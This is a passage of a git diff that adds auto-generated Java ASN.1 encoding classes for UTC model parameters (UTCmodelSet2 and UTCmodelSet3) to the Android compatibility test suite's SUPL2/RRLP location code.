+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcWNot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcWNot();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcWNotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet2.utcWNotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcWNot : "
+ + getUtcWNot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcWNlsf() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcWNlsf();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcWNlsfToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet2.utcWNlsfType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcWNlsf : "
+ + getUtcWNlsf().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcDN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcDN();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcDNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet2.utcDNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcDN : "
+ + getUtcDN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcDeltaTlsf() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcDeltaTlsf();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcDeltaTlsfToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet2.utcDeltaTlsfType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcDeltaTlsf : "
+ + getUtcDeltaTlsf().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcA0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcA0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcA0Type() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcA0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcA0Type != null) {
+ return ImmutableList.of(TAG_utcA0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcA0Type from encoded stream.
+ */
+ public static utcA0Type fromPerUnaligned(byte[] encodedBytes) {
+ utcA0Type result = new utcA0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcA0Type from encoded stream.
+ */
+ public static utcA0Type fromPerAligned(byte[] encodedBytes) {
+ utcA0Type result = new utcA0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcA0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcA1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcA1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcA1Type() {
+ super();
+ setValueRange("-4096", "4095");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcA1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcA1Type != null) {
+ return ImmutableList.of(TAG_utcA1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcA1Type from encoded stream.
+ */
+ public static utcA1Type fromPerUnaligned(byte[] encodedBytes) {
+ utcA1Type result = new utcA1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcA1Type from encoded stream.
+ */
+ public static utcA1Type fromPerAligned(byte[] encodedBytes) {
+ utcA1Type result = new utcA1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcA1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcA2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcA2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcA2Type() {
+ super();
+ setValueRange("-64", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcA2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcA2Type != null) {
+ return ImmutableList.of(TAG_utcA2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcA2Type from encoded stream.
+ */
+ public static utcA2Type fromPerUnaligned(byte[] encodedBytes) {
+ utcA2Type result = new utcA2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcA2Type from encoded stream.
+ */
+ public static utcA2Type fromPerAligned(byte[] encodedBytes) {
+ utcA2Type result = new utcA2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcA2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcDeltaTlsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcDeltaTlsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcDeltaTlsType() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcDeltaTlsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcDeltaTlsType != null) {
+ return ImmutableList.of(TAG_utcDeltaTlsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcDeltaTlsType from encoded stream.
+ */
+ public static utcDeltaTlsType fromPerUnaligned(byte[] encodedBytes) {
+ utcDeltaTlsType result = new utcDeltaTlsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcDeltaTlsType from encoded stream.
+ */
+ public static utcDeltaTlsType fromPerAligned(byte[] encodedBytes) {
+ utcDeltaTlsType result = new utcDeltaTlsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcDeltaTlsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcTotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcTotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcTotType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcTotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcTotType != null) {
+ return ImmutableList.of(TAG_utcTotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcTotType from encoded stream.
+ */
+ public static utcTotType fromPerUnaligned(byte[] encodedBytes) {
+ utcTotType result = new utcTotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcTotType from encoded stream.
+ */
+ public static utcTotType fromPerAligned(byte[] encodedBytes) {
+ utcTotType result = new utcTotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcTotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcWNotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcWNotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcWNotType() {
+ super();
+ setValueRange("0", "8191");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcWNotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcWNotType != null) {
+ return ImmutableList.of(TAG_utcWNotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcWNotType from encoded stream.
+ */
+ public static utcWNotType fromPerUnaligned(byte[] encodedBytes) {
+ utcWNotType result = new utcWNotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcWNotType from encoded stream.
+ */
+ public static utcWNotType fromPerAligned(byte[] encodedBytes) {
+ utcWNotType result = new utcWNotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcWNotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcWNlsfType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcWNlsfType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcWNlsfType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcWNlsfType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcWNlsfType != null) {
+ return ImmutableList.of(TAG_utcWNlsfType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcWNlsfType from encoded stream.
+ */
+ public static utcWNlsfType fromPerUnaligned(byte[] encodedBytes) {
+ utcWNlsfType result = new utcWNlsfType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcWNlsfType from encoded stream.
+ */
+ public static utcWNlsfType fromPerAligned(byte[] encodedBytes) {
+ utcWNlsfType result = new utcWNlsfType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcWNlsfType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcDNType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_utcDNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcDNType() {
+ super();
+ setMinSize(4);
+setMaxSize(4);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcDNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcDNType != null) {
+ return ImmutableList.of(TAG_utcDNType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcDNType from encoded stream.
+ */
+ public static utcDNType fromPerUnaligned(byte[] encodedBytes) {
+ utcDNType result = new utcDNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcDNType from encoded stream.
+ */
+ public static utcDNType fromPerAligned(byte[] encodedBytes) {
+ utcDNType result = new utcDNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcDNType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcDeltaTlsfType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcDeltaTlsfType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcDeltaTlsfType() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcDeltaTlsfType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcDeltaTlsfType != null) {
+ return ImmutableList.of(TAG_utcDeltaTlsfType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcDeltaTlsfType from encoded stream.
+ */
+ public static utcDeltaTlsfType fromPerUnaligned(byte[] encodedBytes) {
+ utcDeltaTlsfType result = new utcDeltaTlsfType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcDeltaTlsfType from encoded stream.
+ */
+ public static utcDeltaTlsfType fromPerAligned(byte[] encodedBytes) {
+ utcDeltaTlsfType result = new utcDeltaTlsfType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcDeltaTlsfType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("UTCmodelSet2 = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet3.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet3.java
new file mode 100755
index 0000000..d5f471f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet3.java
@@ -0,0 +1,872 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class UTCmodelSet3 extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_UTCmodelSet3
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UTCmodelSet3() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UTCmodelSet3;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UTCmodelSet3 != null) {
+ return ImmutableList.of(TAG_UTCmodelSet3);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new UTCmodelSet3 from encoded stream.
+ */
+ public static UTCmodelSet3 fromPerUnaligned(byte[] encodedBytes) {
+ UTCmodelSet3 result = new UTCmodelSet3();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UTCmodelSet3 from encoded stream.
+ */
+ public static UTCmodelSet3 fromPerAligned(byte[] encodedBytes) {
+ UTCmodelSet3 result = new UTCmodelSet3();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private UTCmodelSet3.nAType nA_;
+ public UTCmodelSet3.nAType getNA() {
+ return nA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet3.nAType
+ */
+ public void setNA(Asn1Object value) {
+ this.nA_ = (UTCmodelSet3.nAType) value;
+ }
+ public UTCmodelSet3.nAType setNAToNewInstance() {
+ nA_ = new UTCmodelSet3.nAType();
+ return nA_;
+ }
+
+ private UTCmodelSet3.tauCType tauC_;
+ public UTCmodelSet3.tauCType getTauC() {
+ return tauC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet3.tauCType
+ */
+ public void setTauC(Asn1Object value) {
+ this.tauC_ = (UTCmodelSet3.tauCType) value;
+ }
+ public UTCmodelSet3.tauCType setTauCToNewInstance() {
+ tauC_ = new UTCmodelSet3.tauCType();
+ return tauC_;
+ }
+
+ private UTCmodelSet3.b1Type b1_;
+ public UTCmodelSet3.b1Type getB1() {
+ return b1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet3.b1Type
+ */
+ public void setB1(Asn1Object value) {
+ this.b1_ = (UTCmodelSet3.b1Type) value;
+ }
+ public UTCmodelSet3.b1Type setB1ToNewInstance() {
+ b1_ = new UTCmodelSet3.b1Type();
+ return b1_;
+ }
+
+ private UTCmodelSet3.b2Type b2_;
+ public UTCmodelSet3.b2Type getB2() {
+ return b2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet3.b2Type
+ */
+ public void setB2(Asn1Object value) {
+ this.b2_ = (UTCmodelSet3.b2Type) value;
+ }
+ public UTCmodelSet3.b2Type setB2ToNewInstance() {
+ b2_ = new UTCmodelSet3.b2Type();
+ return b2_;
+ }
+
+ private UTCmodelSet3.kpType kp_;
+ public UTCmodelSet3.kpType getKp() {
+ return kp_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTCmodelSet3.kpType
+ */
+ public void setKp(Asn1Object value) {
+ this.kp_ = (UTCmodelSet3.kpType) value;
+ }
+ public UTCmodelSet3.kpType setKpToNewInstance() {
+ kp_ = new UTCmodelSet3.kpType();
+ return kp_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getNA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNA();
+ }
+
+ @Override public void setToNewInstance() {
+ setNAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet3.nAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "nA : "
+ + getNA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getTauC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTauC();
+ }
+
+ @Override public void setToNewInstance() {
+ setTauCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet3.tauCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "tauC : "
+ + getTauC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getB1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getB1();
+ }
+
+ @Override public void setToNewInstance() {
+ setB1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet3.b1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "b1 : "
+ + getB1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getB2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getB2();
+ }
+
+ @Override public void setToNewInstance() {
+ setB2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCmodelSet3.b2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "b2 : "
+ + getB2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getKp() != null;
+ }
